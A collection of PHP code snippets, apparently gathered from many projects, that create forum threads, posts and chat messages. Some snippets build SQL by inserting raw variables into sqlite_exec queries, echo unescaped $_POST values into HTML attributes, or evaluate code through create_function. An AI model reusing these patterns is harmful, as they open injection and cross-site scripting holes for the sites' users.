"function createThread($boardUrl, $subject, $comment, $user, $ip){\n R::begin();\n try {\n $board = boardByURL($boardUrl);\n $user = checkSetDefaultPoster($user, $board);\n $thread = R::dispense(TTHREAD::TABLE);\n R::store($thread);\n $post = _dispensePost($board, $subject, $comment, $user, $ip);\n $post[TPOST::ISOP] = true;\n R::store($post);\n array_push($thread[TTHREAD::POSTS], $post);\n array_push($board[TBOARD::THREADS], $thread);\n R::store($board);\n R::commit();\n } catch(Exception $e) {\n R::rollback();\n }\n \n }",
"function postNewMessage($user_id, $thread_id, $message)\n\t\t{\n\t\t\t$query=sqlite_exec($this->connection, \"INSERT INTO message(thread_id, user_id, message, date) VALUES($thread_id, $user_id, $message, NOW())\");\n\t\t}",
"public function create() {\n\t\t$user = $this->current_user();\n\t\t$message = $this->discussion->create_message($this->message_data() + ['creator' => ['id' => $user->_id, 'name' => $user->name]]);\n\n\t\tif ($this->discussion->push_message($message)) {\n\t\t\treturn $this->redirect(['Discussions::show', 'id' => $this->discussion->_id, 'project_id' => $this->discussion->project_id]);\n\t\t}\n\n\t\treturn compact('message');\n\t}",
"public static function replyMessage($user_id, $thread_id)\n\t{\n\t\tif (!Input::has('body')) {\n\t\t\tthrow new Exception('The body of your message may not be blank');\n\t\t}\n\n\t\t// set body from input\n\t\t$body = Input::get('body');\n\n\t\t// make sure body is not greater than 1024 characters\n\t\tif (strlen($body) > 1024) {\n\t\t\tthrow new Exception('Please limit the body of your message to 1024 characters (it currently has ' . strlen($body) . ')');\t\t\n\t\t}\n\n\t\t// get list of recipients\n\t\t$recipients = UsersThread::where('thread_id', $thread_id)\n\t\t\t->lists('user_id');\n\n\t\t// create a transaction to wrap the creation of Message, and UsersMessage\n\t\tDB::transaction(function() use ($user_id, $thread_id, $recipients, $body)\n\t\t{\n\t\t\t// make sure any messages in this thread are marked as read by the author \n\t\t\t$unread_messages = DB::table('messages')\n\t\t\t\t->join('users_messages', 'messages.id', '=', 'users_messages.message_id')\n\t\t\t\t->select('users_messages.id as users_message_id')\n\t\t\t\t->where('users_messages.user_id', $user_id)\n\t\t\t\t->where('users_messages.message_read', 0)\n\t\t\t\t->where('messages.thread_id', $thread_id)\n\t\t\t\t->lists('users_message_id');\n\n\t\t\t// loop through any found to not be read\n\t\t\tforeach ($unread_messages as $unread_message) {\n\t\t\t\t// get record of users message\n\t\t\t\t$users_message = UsersMessage::find($unread_message);\n\t\t\t\t\n\t\t\t\t// mark users message as read\n\t\t\t\t$users_message->message_read = 1;\n\t\t\t\t$users_message->save();\n\t\t\t}\n\n\t\t\t// create message (users threads caches are deleted in createMessage)\n\t\t\tMessagesService::createMessage($thread_id, $user_id, $recipients, $body);\t\t\t\t\t\n\t\t});\n\t}",
"public function testMessageThreadsV2Post()\n {\n }",
"function newthread( $args )\n\t{\n\t // if not logged in redirect\n\t if( !$this->app->user->is_logged_in() ){\n\t $this->app->redirect('user/login');\n\t }\n\t \n\t // get board id\n\t $board_id = (int) $args['id'];\n\t \n\t // get board info\n\t $boards_model = $this->app->\n\t model('forum_boards','forum/models');\n\t \n\t // get board item\n\t $board = $boards_model->get_item( $board_id );\n\t \n\t // check if board exists\n\t if( count($board) == 0 ){\n\t $this->app->redirect('forum');\n\t }\n\t \n\t // action message\n\t $action_message = null;\n\t \n\t \n\t \n\t // init failed submission values\n\t $name_value = '';\n\t $description_value = '';\n\t \n\t \n\t /* -------------------------\n\t * Check for form submission\n\t */\n\t if( $_SERVER['REQUEST_METHOD'] == 'POST' && \n\t isset( $_POST['name']) && \n\t $_POST['name'] != null &&\n\t isset( $_POST['description']) && \n\t $_POST['description'] != null\n\t ){\n\t \n\t // get threads model\n\t $threads_model = $this->app->\n\t model('forum_threads','forum/models');\n\t \n\t // add the new thread\n\t $success = $threads_model->\n\t new_item($this->app->user->get_user_id(), \n\t $board_id, $_POST );\n\t \n\t // test for success\n\t if( $success ){\n\t \n\t // get most recent thread\n\t $thread = $threads_model->last_thread();\n\t \n\t // increment thread count\n\t $boards_model->increment_thread($board_id);\n\t \n\t // redirect to the new thread\n\t $this->app->redirect('forum/thread/'.$thread['id']);\n\t }\n\t } elseif($_SERVER['REQUEST_METHOD'] == 'POST' ) {\n\t $action_message = \"One ore more required inputs were not \n\t provided.\";\n\t \n\t $name_value = 'value=\"'.$_POST['name'].'\"';\n\t $description_value = $_POST['description'];\n\t \n\t }\n\t \n\t // add init values\n\t $this->view->add('name_value',$name_value);\n\t $this->view->add('description_value',$description_value);\n\t \n\t // add action message\n\t $this->view->add('action_message',$action_message);\n\t \n\t \n\t \n\t /* -------------------------\n\t * Action paths defined here\n\t */\n\t \n\t // action on form submit\n\t $this->view->add('submit_action',\n\t $this->app->form_path('forum/newthread/'.$board_id));\n\t \n\t // get wysiwyg extension\n\t $wysiwyg = $this->app->extension('wysiwyg');\n\t \n\t // set page title\n\t $this->view->add('page_title','Create a new thread');\n\t \n\t}",
"static public function factory($messageType = 3) {\n\t\treturn new self($messageType);\n\t}",
"public function receive(Request $input, ThreadService $threadService)\n {\n // if not create thread, create users\n // if yes pull thread\n // if does exist, parse stripped html and create message\n // if does not exist, parse body-html and create messages\n // send email with thread\n /*Log::info(\"Success\");\n die();*/\n $threadService->handle($input);\n\n }",
"public function createMailMessage();",
"public function create($channel, $data)\n {\n return $channel->threads()->create([\n 'title' => $data['title'],\n 'body' => $data['body'],\n 'user_id' => auth()->user()->id\n ]);\n }",
"public function user_message_create() {\n\t\t$this->onDebug ( __METHOD__, 1 );\n\t\tif ($this->valide_userid () == false) {\n\t\t\treturn $this;\n\t\t}\n\t\t$message_created = $this->getObjetO365Wsclient ()\n\t\t\t->jsonPostMethod ( '/users/' . $this->getUserId () . '/messages', $this->getEmailContent () );\n\t\t$this->onDebug ( $message_created, 2 );\n\t\tif (isset ( $message_created->id ) && ! empty ( $message_created->id )) {\n\t\t\treturn $this->setO356MessageRef ( $message_created )\n\t\t\t\t->setMessageId ( $message_created->id );\n\t\t}\n\t\treturn $this->onError ( 'Pas d\\'ID durant la creation du message de O365', $message_created, 1 );\n\t}",
"public function created(Thread $thread)\n {\n $thread->user->recordActivity('created a new thread:', $thread);\n }",
"function tn_add_message( $type, $message ) {\n\t$m = TN_Messages::get_instance();\n\t$m->add_message( array( $type => $message ) );\n}",
"public function createMessage(array $parameters = []);",
"public function testMessageThreadsV2GetMessages()\n {\n }",
"public static function init( $_id )\n {\n $message = new Message();\n $message->get( $_id );\n return $message;\n }",
"public function createMessage(string $typeName): MessageInterface;",
"public function createLink() {\n\t\t$sql = \"INSERT INTO\twbb\".WBB_N.\"_thread\n\t\t\t\t\t(boardID, languageID, prefix, topic, time, userID, username, lastPostTime, \n\t\t\t\t\tlastPosterID, lastPoster, replies, views, ratings, rating, attachments,\n\t\t\t\t\tpolls, isAnnouncement, isSticky, isDisabled, everEnabled, isClosed, isDeleted,\n\t\t\t\t\tmovedThreadID, movedTime, deleteTime, deletedBy, deletedByID, deleteReason)\n\t\t\tVALUES\t\t(\".$this->boardID.\",\n\t\t\t\t\t\".$this->languageID.\",\n\t\t\t\t\t'\".escapeString($this->prefix).\"',\n\t\t\t\t\t'\".escapeString($this->topic).\"',\n\t\t\t\t\t\".$this->time.\",\n\t\t\t\t\t\".$this->userID.\",\n\t\t\t\t\t'\".escapeString($this->username).\"',\n\t\t\t\t\t\".$this->lastPostTime.\",\n\t\t\t\t\t\".$this->lastPosterID.\",\n\t\t\t\t\t'\".escapeString($this->lastPoster).\"',\n\t\t\t\t\t\".$this->replies.\",\n\t\t\t\t\t\".$this->views.\",\n\t\t\t\t\t\".$this->ratings.\",\n\t\t\t\t\t\".$this->rating.\",\n\t\t\t\t\t\".$this->attachments.\",\n\t\t\t\t\t\".$this->polls.\",\n\t\t\t\t\t\".$this->isAnnouncement.\",\n\t\t\t\t\t\".$this->isSticky.\",\n\t\t\t\t\t\".$this->isDisabled.\",\n\t\t\t\t\t\".$this->everEnabled.\",\n\t\t\t\t\t\".$this->isClosed.\",\n\t\t\t\t\t\".$this->isDeleted.\",\n\t\t\t\t\t\".$this->threadID.\",\n\t\t\t\t\t\".TIME_NOW.\",\n\t\t\t\t\t\".$this->deleteTime.\",\n\t\t\t\t\t'\".escapeString($this->deletedBy).\"',\n\t\t\t\t\t\".$this->deletedByID.\",\n\t\t\t\t\t'\".escapeString($this->deleteReason).\"')\";\n\t\tWCF::getDB()->sendQuery($sql);\n\t}",
"public function create()\n {\n return view(\"thread.form\");\n }",
"public function create(Request $request)\n {\n $this->authorize('create', Thread::class);\n\n return view('threads.create');\n }",
"public function generateThread($forum_id, $user, $subject, $message, $notify, $notify_posts, $alias = '', $date = '')\n\t{\t\n\t\tglobal $ilDB;\n\n\t\t$objNewThread = new ilForumTopic();\n\t\t$objNewThread->setForumId($forum_id);\n\t\t$objNewThread->setUserId($user);\n\t\t$objNewThread->setSubject($subject);\n\t\tif ($date == \"\")\n\t\t{\n\t\t\t$objNewThread->setCreateDate(date(\"Y-m-d H:i:s\"));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (strpos($date, \"-\") > 0)\t\t// in mysql format\n\t\t\t{\n\t\t\t\t$objNewThread->setCreateDate($date);\n\t\t\t}\n\t\t\telse\t\t\t\t\t\t\t\t// a timestamp\n\t\t\t{\n\t\t\t\t$objNewThread->setCreateDate(date(\"Y-m-d H:i:s\", $date));\n\t\t\t}\n\t\t}\n\t\t$objNewThread->setImportName($this->getImportName());\n\t\t$objNewThread->setUserAlias($alias);\n\t\t$objNewThread->insert();\n\t\t\n\t\tif ($notify_posts == 1)\n\t\t{\n\t\t\t$objNewThread->enableNotification($user);\n\t\t}\n\t\t\t\n\t\t// update forum\n\t\t$statement = $ilDB->manipulateF('\n\t\t\tUPDATE frm_data \n\t\t\tSET top_num_threads = top_num_threads + 1\n\t\t\tWHERE top_pk = %s',\n\t\t\tarray('integer'), array($forum_id));\n\t\t\n\t\treturn $this->generatePost($forum_id, $objNewThread->getId(), $user, $message, 0, $notify, $subject, $alias, $objNewThread->getCreateDate());\n\t}",
"public static function factory($raw_message = null, $class_name = null) {}",
"function message($message_id)\n\t{\n\t\t//echo '<pre>'.$this->MessageFunc.'</pre>';\n\t\t$func = create_function('$id,$text',$this->MessageFunc);\n\t\t\n\t\t$func($message_id,$this->forum_text[$message_id]);\n\t\treturn false;\n\t}",
"private function createMessageObject(string $type, string $message): Notification\n {\n $msg = new Notification();\n\n $msg->setType($type);\n $msg->setMessage($message);\n\n $this->handler->add($msg);\n\n return $msg;\n }",
"function thread( $args )\n\t{\n\t $thread_id = (int)$args['id'];\n\t \n\t // check for existance, use threads model\n\t $threads_model = $this->app->\n\t model('forum_threads','forum/models');\n\t \n\t\t// boards model\n\t\t$boards_model = $this->app->\n\t\t model('forum_boards', 'forum/models'); \n\t \n\t // posts model\n\t $posts_model = $this->app->\n\t model('forum_posts','forum/models');\n\t \n\t // get item\n\t $thread = $threads_model->get_item( $thread_id );\n\t $thread = ( count($thread) > 0 ) ? $thread[0] : null;\n\t \n\t \n\t // imprtant stuffs\n\t if( $thread == null ){\n\t \n\t \t// redirect\n\t \t$this->app->redirect('forum');\n\t }\n\t \n\t \n // get board\n $board = $boards_model->get_item((int)$thread['board_id']);\n $board = $board[0];\n \n // set page title\n $this->view->add('page_title',\n 'Viewing thread: ' . $thread['name'] );\n \n // set index action\n $this->view->add('index_action',\n $this->app->form_path('forum'));\n \n // set board action\n $this->view->add('board_action',\n $this->app->form_path('forum/board/'.$board['id']));\n \n // good\n $this->view->add('board_name', $board['name'] );\n\t \n\t // need an action message\n\t $action_message = null;\n\t \n\t // init text area values\n\t $name_value = '';\n\t $post_value = '';\n\t \n\t \n\t // check for post\n\t if( $_SERVER['REQUEST_METHOD'] == 'POST' &&\n\t \tisset($_POST['name']) &&\n\t \t$_POST['name'] != null &&\n\t \tisset($_POST['post']) &&\n\t \t$_POST['name'] != null \n\t ){\n\t \t\n\t \t// add success\n\t \t$success = $posts_model->new_item( \n\t \t\t$this->app->user->get_user_id(), $thread_id, $_POST );\n\t \t\n\t \t// test for success\n\t \tif( $success ){\n\t \t\n\t \t\t// increment reply count\n\t \t\t$threads_model->increment_reply( $thread_id );\n\t \t\t\t \t\n\t \t\t$action_message = 'Post successfully added.';\n\t \t} else {\n\t \t\t$action_message = 'There was an error adding your post';\n\t \t}\n\t \t\n\t } elseif( $_SERVER['REQUEST_METHOD'] == 'POST' ) {\n\t \t\n\t \t$action_message = 'One or more required fields was not\n\t \t\tprovided';\n\t \t\t\n\t \t// update values\n\t\t\t$name_value = 'value=\"'.$_POST['name'].'\"';\n\t\t\t$post_value = $_POST['post'];\n\t }\n\t \n\t \n\t // add them\n\t $this->view->add('name_value',$name_value);\n\t $this->view->add('post_value',$post_value);\n\t \n\t // add actio message\n\t $this->view->add('action_message',$action_message);\n\t \n\t // get limits\n\t $limit = 10;\n\t \n\t // get page\n\t $page = 0;\n\t if( isset($_GET['p']) ){\n\t $page = (int)$_GET['p'];\n\t }\n\t \n\t // get replies\n\t $posts_result = $posts_model->limit($limit)->page($page)->\n\t get_all($thread_id);\n\t \n\t //\n\t $this->view->add('posts_result',$posts_result);\n\t \n\t $reply_count = ($thread==null) ? 0 :(int)$thread['reply_count'];\n\t \n\t // add paging\n\t $this->view->add('page_info',array(\n\t // posts count\n\t 'page_count' => (int)(($reply_count) / $limit)+1,\n\t 'this_page' => $page\n\t ));\n\t \n\t \n\t // add actions\n\t $this->view->add('page_action',\n\t $this->app->form_path('forum/thread/'.$thread_id.'?p='));\n\t \n\t $this->view->add('reply_action',$this->app->\n\t form_path('forum/thread/'.$thread_id.'?p='.$page));\n\t \n\t \n\t // add to the view\n\t $this->view->add('thread_result',$thread);\n\t \n\t \n\t // get wysiwyg extension\n\t $wysiwyg = $this->app->extension('wysiwyg');\n\t \n\t}",
"public function create(int $forumId, int $userId, string $title, string $body): \\Gazelle\\ForumThread {\n $db = new \\Gazelle\\DB;\n $db->relaxConstraints(true);\n self::$db->prepared_query(\"\n INSERT INTO forums_topics\n (ForumID, Title, AuthorID, LastPostAuthorID)\n Values (?, ?, ?, ?)\n \", $forumId, $title, $userId, $userId\n );\n $thread = $this->findById(self::$db->inserted_id());\n $postId = $thread->addPost($userId, $body);\n $db->relaxConstraints(false);\n (new \\Gazelle\\Stats\\User($userId))->increment('forum_thread_total');\n return $thread;\n }",
"public function testMessageThreadsV2GetMessages0()\n {\n }",
"function createThread(&$dbparams, &$contentitem, $forumid, &$status)\n\t{\n\t\ttry {\n\t\t\t//setup some variables\n\t\t\t$userid = $this->getThreadAuthor($dbparams, $contentitem);\n\t\t\t$db = JFusionFactory::getDatabase($this->getJname());\n\t\t\t$subject = trim(strip_tags($contentitem->title));\n\n\t\t\t//prepare the content body\n\t\t\t$text = $this->prepareFirstPostBody($dbparams, $contentitem);\n\n\t\t\t//the user information\n\n\t\t\t$query = $db->getQuery(true)\n\t\t\t\t->select('username, username_clean, user_colour, user_permissions')\n\t\t\t\t->from('#__users')\n\t\t\t\t->where('user_id = ' . (int) $userid);\n\n\t\t\t$db->setQuery($query);\n\t\t\t$user = $db->loadObject();\n\n\t\t\tif ($dbparams->get('use_content_created_date', false)) {\n\t\t\t\t$timezone = JFusionFactory::getConfig()->get('offset');\n\t\t\t\t$timestamp = strtotime($contentitem->created);\n\t\t\t\t//undo Joomla timezone offset\n\t\t\t\t$timestamp += ($timezone * 3600);\n\t\t\t} else {\n\t\t\t\t$timestamp = time();\n\t\t\t}\n\n\t\t\t$topic = new stdClass();\n\t\t\t$topic->topic_poster = (int) $userid;\n\t\t\t$topic->topic_time = $timestamp;\n\t\t\t$topic->forum_id = $forumid;\n\t\t\t$topic->icon_id = false;\n\t\t\t$topic->topic_visibility = 1;\n\t\t\t$topic->topic_title = $subject;\n\t\t\t$topic->topic_first_poster_name\t= $user->username;\n\t\t\t$topic->topic_first_poster_colour = $user->user_colour;\n\t\t\t$topic->topic_type = 0;\n\t\t\t$topic->topic_time_limit = 0;\n\t\t\t$topic->topic_attachment = 0;\n\n\t\t\t$db->insertObject('#__topics', $topic, 'topic_id' );\n\n\t\t\t$bbcode = $this->helper->bbcode_parser($text);\n\n\t\t\t$post = new stdClass();\n\t\t\t$post->forum_id\t\t\t= (int) $forumid;\n\t\t\t$post->topic_id \t\t= (int) $topic->topic_id;\n\t\t\t$post->poster_id\t\t= (int) $userid;\n\t\t\t$post->icon_id\t\t\t= 0;\n\t\t\t$post->poster_ip\t\t= $_SERVER['REMOTE_ADDR'];\n\t\t\t$post->post_time\t\t= (int) $timestamp;\n\t\t\t$post->post_visibility\t= 1;\n\t\t\t$post->enable_bbcode\t= 1;\n\t\t\t$post->enable_smilies\t= 1;\n\t\t\t$post->enable_magic_url\t= 1;\n\t\t\t$post->enable_sig\t\t= 1;\n\t\t\t$post->post_username\t= $user->username;\n\t\t\t$post->post_subject\t\t= $subject;\n\t\t\t$post->post_text\t\t= $bbcode->text;\n\t\t\t$post->post_checksum\t= md5($bbcode->text);\n\t\t\t$post->post_attachment\t= 0;\n\t\t\t$post->bbcode_bitfield\t= $bbcode->bbcode_bitfield;\n\t\t\t$post->bbcode_uid\t\t= $bbcode->bbcode_uid;\n\t\t\t$post->post_postcount\t= 1;\n\t\t\t$post->post_edit_locked\t= 0;\n\n\t\t\t$db->insertObject('#__posts', $post, 'post_id');\n\n\t\t\t$topic->topic_first_post_id\t\t\t= $post->post_id;\n\t\t\t$topic->topic_last_post_id\t\t\t= $post->post_id;\n\t\t\t$topic->topic_last_post_time\t\t= (int) $timestamp;\n\t\t\t$topic->topic_last_poster_id\t\t= (int) $userid;\n\t\t\t$topic->topic_last_poster_name\t\t= $user->username;\n\t\t\t$topic->topic_last_poster_colour\t= $user->user_colour;\n\t\t\t$topic->topic_last_post_subject\t\t= (string) $subject;\n\t\t\t$topic->topic_posts_approved = 1;\n\n\t\t\t$db->updateObject('#__topics', $topic, 'topic_id' );\n\n\t\t\tif ($dbparams->get('use_content_created_date', false)) {\n\t\t\t\t$query = $db->getQuery(true)\n\t\t\t\t\t->select('forum_last_post_time')\n\t\t\t\t\t->from('#__forums')\n\t\t\t\t\t->where('forum_id = ' . (int) $forumid);\n\n\t\t\t\t$db->setQuery($query);\n\t\t\t\t$forum_last_post_time = $db->loadResult();\n\n\t\t\t\t//only update the last post for the topic if it really is newer\n\t\t\t\t$updateLastPost = ($timestamp > $forum_last_post_time) ? true : false;\n\t\t\t} else {\n\t\t\t\t$updateLastPost = true;\n\t\t\t}\n\n\t\t\t$query = $db->getQuery(true)\n\t\t\t\t->update('#__forums');\n\n\t\t\tif($updateLastPost) {\n\t\t\t\t$query->set('forum_last_post_id = ' . $db->quote($post->post_id))\n\t\t\t\t\t->set('forum_last_post_subject = ' . $db->quote($subject))\n\t\t\t\t\t->set('forum_last_post_time = ' . (int) $timestamp)\n\t\t\t\t\t->set('forum_last_poster_id = ' . (int) $userid)\n\t\t\t\t\t->set('forum_last_poster_name = ' . $db->quote($user->username))\n\t\t\t\t\t->set('forum_last_poster_colour = ' . $db->quote($user->user_colour));\n\t\t\t}\n\n\t\t\t//update some stats\n\t\t\t$query->set('forum_posts_approved = forum_posts_approved + 1')\n\t\t\t\t->set('forum_topics_approved = forum_topics_approved + 1')\n\t\t\t\t->where('forum_id = ' . $db->quote($forumid));\n\n\t\t\t$db->setQuery($query);\n\t\t\t$db->execute();\n\n\t\t\t//update some stats\n\t\t\t$query = $db->getQuery(true)\n\t\t\t\t->update('#__users')\n\t\t\t\t->set('user_posts = user_posts + 1')\n\t\t\t\t->where('user_id = ' . (int) $userid);\n\n\t\t\t$db->setQuery($query);\n\t\t\t$db->execute();\n\n\t\t\t$query = $db->getQuery(true)\n\t\t\t\t->update('#__config')\n\t\t\t\t->set('config_value = config_value + 1')\n\t\t\t\t->where('config_name = ' . $db->quote('num_topics'));\n\n\t\t\t$db->setQuery($query);\n\t\t\t$db->execute();\n\n\t\t\tif(!empty($topic->topic_id) && !empty($post->post_id)) {\n\t\t\t\t//add information to update forum lookup\n\t\t\t\t$status['threadinfo']->forumid = $forumid;\n\t\t\t\t$status['threadinfo']->threadid = $topic->topic_id;\n\t\t\t\t$status['threadinfo']->postid = $post->post_id;\n\t\t\t}\n\t\t} catch (Exception $e) {\n\t\t\t$status['error'] = $e->getMessage();\n\t\t}\n\t}",
"public function createThread(ForumRepositoryInterface $parentForum, array $data = []): PodiumResponse;",
"public function __construct(NewMessageEvent $event)\n {\n $this->event = $event;\n }",
"public function createInstance()\n {\n $mock = $this->mock(static::TEST_SUBJECT_CLASSNAME)\n ->getMessage();\n\n return $mock->new();\n }",
"public function createAction(Request $request)\n {\n $entity = new Thread();\n $form = $this->createCreateForm($entity);\n $form->handleRequest($request);\n\n if ($form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($entity);\n $em->flush();\n\n return $this->redirect($this->generateUrl('thread_show', array('id' => $entity->getId())));\n }\n\n return $this->render('APiszczekDemoBundle:Thread:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"function newThread($member1_id, $member2_id)\n\t\t{\n\t\t\t$query=sqlite_exec($this->connection,\"INSERT INTO thread(member1_id, member2_id, date_created) VALUES($member1_id, $member2_id, NOW())\");\n\t\t\treturn sqlite_last_insert_rowid($this->connection);\n\t\t}",
"public function testMessageThreadsV2Get0()\n {\n }",
"public function __construct($msg)\n {\n $this->message = $msg;\n }",
"public function run()\n {\n //\n $chat = new Message();\n $chat->room_id = 1;\n $chat->send_account_id = 1;\n $chat->receive_account_id = 2;\n $chat->text = \"こんにちは\";\n $chat->is_read = true;\n $chat->save();\n\n //\n $chat2 = new Message();\n $chat2->room_id = 1;\n $chat2->send_account_id = 2;\n $chat2->receive_account_id = 1;\n $chat2->text = \"よろしくお願いします。\";\n $chat2->is_read = true;\n $chat2->save();\n\n }",
"public function create()\n {\n return view('threads.create');\n }",
"public function create()\n {\n return view('threads.create');\n }",
"public function create()\n {\n return view('threads.create');\n }",
"public function create()\n {\n return view('threads.create');\n }",
"public function create()\n {\n return view('threads.create');\n }",
"public function create()\n {\n return view('threads.create');\n }",
"public static function insertMessageThread($id, $receivers, $text)\n\t{\n\t\t$time = date('Y-m-d H:i:s');\n\t\t$db = FrontendModel::getDB(true);\n\n\t\t// insert thread\n\t\t$threadId = (int) $db->insert('profiles_thread', array('latest_message_id' => 0));\n\n\t\t// insert message\n\t\t$messageId = (int) $db->insert(\n\t\t\t'profiles_message', \n\t\t\tarray(\n\t\t\t\t'thread_id' => $threadId,\n\t\t\t\t'user_id' => $id,\n\t\t\t\t'created_on' => $time,\n\t\t\t\t'text' => $text\n\t\t\t)\n\t\t);\n\n\t\t// update thread\n\t\t$db->update('profiles_thread', array('latest_message_id' => $messageId), 'id = ' . $threadId);\n\n\t\t// insert thread_status for every receiver\n\t\tforeach($receivers as $receiver)\n\t\t{\n\t\t\t$db->insert(\n\t\t\t\t'profiles_thread_status',\n\t\t\t\tarray(\n\t\t\t\t\t'thread_id' => $threadId,\n\t\t\t\t\t'receiver_id' => $receiver\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\n\t\t// insert thread status for sender\n\t\t$db->insert(\n\t\t\t'profiles_thread_status',\n\t\t\tarray(\n\t\t\t\t'thread_id' => $threadId,\n\t\t\t\t'receiver_id' => $id,\n\t\t\t\t'status' => 'read'\n\t\t\t)\n\t\t);\n\n\t\treturn true;\n\t}",
"public function create(string $message = ''): BusMessageInterface;",
"public function __construct(Thread $thread, Reply $reply)\n {\n $this->thread = $thread;\n $this->reply = $reply;\n }",
"public function testMessageThreadsV2MarkThread()\n {\n }",
"public function testMessageThreadsV2ReplyToMessage()\n {\n }",
"public function mailChatNewMessage(Request $request)\n {\n $user = new User(['firstname' => 'Max', 'lastname' => 'Mustermann']);\n $chat_message = new ChatMessage(['chat_id' => 1, 'message' => 'MESSAGE']);\n \n $mail = new Mail\\ChatNewMessage($user, $chat_message, \"TITLE\");\n \n return $mail;\n }",
"public function run()\n {\n if (Message::all()->isEmpty()) {\n $this->createMessage();\n }\n }",
"public function create()\n\t{\n\t\treturn View::make('messages.create');\n\t}",
"public function aim_chat_create($name, $exchange = 4)\r\n\t{\r\n\t\t$this->core->aim_send_raw(sprintf('toc_chat_join %d \"%s\"', $exchange, $name));\r\n\t}",
"public function sendMessage(Request $request)\n {\n $message = $request->get('message');\n $thread_id = $request->get('threadid');\n $objmessage = new Message();\n $messageid = $objmessage->sendThreadMessage($thread_id, $message);\n $chattime = Carbon::now();\n $formattedtime = $chattime->format('d-m-Y h:i A');\n \\Event::fire(new App\\Events\\NewMessage($thread_id, $message, Auth()->user()->name, Auth()->id(), Auth()->user()->userrole,$formattedtime));\n return view(\"teacher.chat-messages-teacher\", compact('message', 'messageid'));\n }",
"public function run(): void\n {\n Thread::with('participants.owner')->get()->each(function (Thread $thread) {\n for ($x = 0; $x < rand(5, 20); $x++) {\n Message::factory()\n ->for($thread)\n ->owner($thread->participants->random()->owner)\n ->create();\n }\n });\n }",
"public function createQueue();",
"public function createMessage(Request $request)\n {\n $newMessage = new Message();\n\n $em = $this->getDoctrine()->getManager();\n $messageRepository = $em->getRepository(Message::class);\n $user = $this->getUser();\n $id=$user->getId();\n\n $messages = $messageRepository->findBy(array('user'=>$id),array('create_at'=>'ASC'));\n\n $form = $this->createForm(MessageType::class, $newMessage);\n $form -> handleRequest($request);\n\n if($form->isSubmitted() && $form->isValid()) {\n $content=$form['content']->getData();\n $newMessage->setSenderId($id);\n $newMessage->setContent($content);\n $newMessage->setUser($user);\n $newMessage->setCreateAt(new \\Datetime('now + 8hours'));\n\n $em->persist($newMessage);\n $em->flush();\n\n return $this->redirectToRoute('message.fetch');\n }\n\n return $this->render(\"message/fetch.html.twig\",\n array('form' => $form->createView(),\n 'messages' => $messages,\n 'newMessage' => $newMessage,\n 'id'=>$id,\n ));\n\n }",
"protected function getInboxThread()\n {\n if ($this->inboxMessageBeingReplyingTo) {\n return $this->inboxMessageBeingReplyingTo->thread;\n }\n\n return $this->createInboxThread();\n }",
"function Admin_Messages_admin_new()\n{\n // Security check - important to do this as early as possible to avoid\n // potential security holes or just too much wasted processing\n if (!pnSecAuthAction(0, 'Admin_Messages::', '::', ACCESS_ADD)) {\n return pnVarPrepHTMLDisplay(_MODULENOAUTH);\n }\n\n // Create output object - this object will store all of our output so that\n // we can return it easily when required\n\t$pnRender =& new pnRender('Admin_Messages');\n\n\t// As Admin output changes often, we do not want caching.\n\t$pnRender->caching = false;\n\n // Return the output that has been generated by this function\n return $pnRender->fetch('admin_messages_admin_new.htm');\n}",
"public function publishThread($attributes)\n\t{\n\t\treturn $this->threads()->create($attributes);\n\t}",
"public function __construct($message, $type)\n\t{\n\t\t$this->message = $message;\n\t\t$this->type = $type;\n\t}",
"public function createMimeMessage();",
"public function __construct($message)\n {\n // $this->message = $message;\n }",
"public function create()\n {\n return view('materialadmin::message.create');\n }",
"public function run()\n {\n $threads = factory('App\\Thread', 20)->create();\n\n $threads->each(function($thread) {\n factory('App\\Reply', 6)->create(['thread_id' => $thread->id]);\n });\n }",
"protected static function newFactory(): Factory\n {\n return MessageFactory::new();\n }",
"public function create_ticket()\n {\n $type = 'Chat';\n\n $response = array(\n 'status' => 'false',\n 'message' => __('Ticket could not be created. Please contact support email directly.', 'kong-helpdesk')\n );\n if (isset($_POST['helpdeskTicket'])) {\n ob_start();\n\n $status = $this->ticket_processor->form_sanitation($_POST, $type);\n $return = ob_get_clean();\n\n if ($status !== false) {\n if ($_POST['online'] == \"true\") {\n $response = array(\n 'status' => 'true',\n 'message' => sprintf( __('A seperate Chat-Ticket with the ID %s has been created.', 'kong-helpdesk'), $this->ticket_processor->post_id),\n 'ticket' => $this->ticket_processor->post_id,\n );\n } else {\n $response = array(\n 'status' => 'true',\n 'message' => sprintf( __('Message received and Chat-Ticket %s created. You should have an email.', 'kong-helpdesk'), $this->ticket_processor->post_id),\n 'ticket' => $this->ticket_processor->post_id,\n );\n }\n } else {\n $response = array(\n 'status' => 'false',\n 'message' => $this->ticket_processor->errors[0]\n );\n }\n }\n die(json_encode($response));\n }",
"function message_new($param1 = '', $param2 = '')\n\t{\n\t\tif ($this->session->userdata('admin_login') != 1)\n\t\t\tredirect(base_url() . 'index.php?login');\n\t\tif ($param1 == 'send_new_message') {\n\t\t\t$new_message_thread_code = $this->crud_model->send_new_message();\n\t\t\t$this->session->set_flashdata('flash_message', translate('message_sent'));\n\t\t\t$get_receiver = $this->db->get_where('message_thread', array(\n\t\t\t\t'message_thread_code' => $new_message_thread_code\n\t\t\t))->row()->receiver;\n\t\t\t$receiver = explode('-', $get_receiver);\n\t\t\t$user_to_email_type = $receiver[0];\n\t\t\t$user_to_email_id = $receiver[1];\n\t\t\t$email_to = $this->db->get_where($user_to_email_type, array(\n\t\t\t\t$user_to_email_type . '_id' => $user_to_email_id\n\t\t\t))->row()->email;\n\t\t\t// MAIL SENDING TO RECEIVER\n\t\t\t$this->email_model->message_notification_email_sender_admin($email_to);\n\t\t\tredirect(base_url() . 'index.php?admin/message_read/' . $new_message_thread_code, 'refresh');\n\t\t}\n\t\t$page_data['page_name']\t\t\t= 'message_new';\n\t\t$page_data['page_title'] \t= 'Messaging';\n\t\t$page_data['customers'] \t= $this->db->get('customer')->result_array();\n\t\t$page_data['sales_staff'] \t= $this->db->get_where('employee', array(\n\t\t\t'type' => 1\n\t\t))->result_array();\n\t\t$page_data['purchase_staff'] = $this->db->get_where('employee', array(\n\t\t\t'type' => 2\n\t\t))->result_array();\n\t\t$page_data['message_thread_code'] = $param2;\n\t\t$this->load->view('backend/index', $page_data);\n\t}",
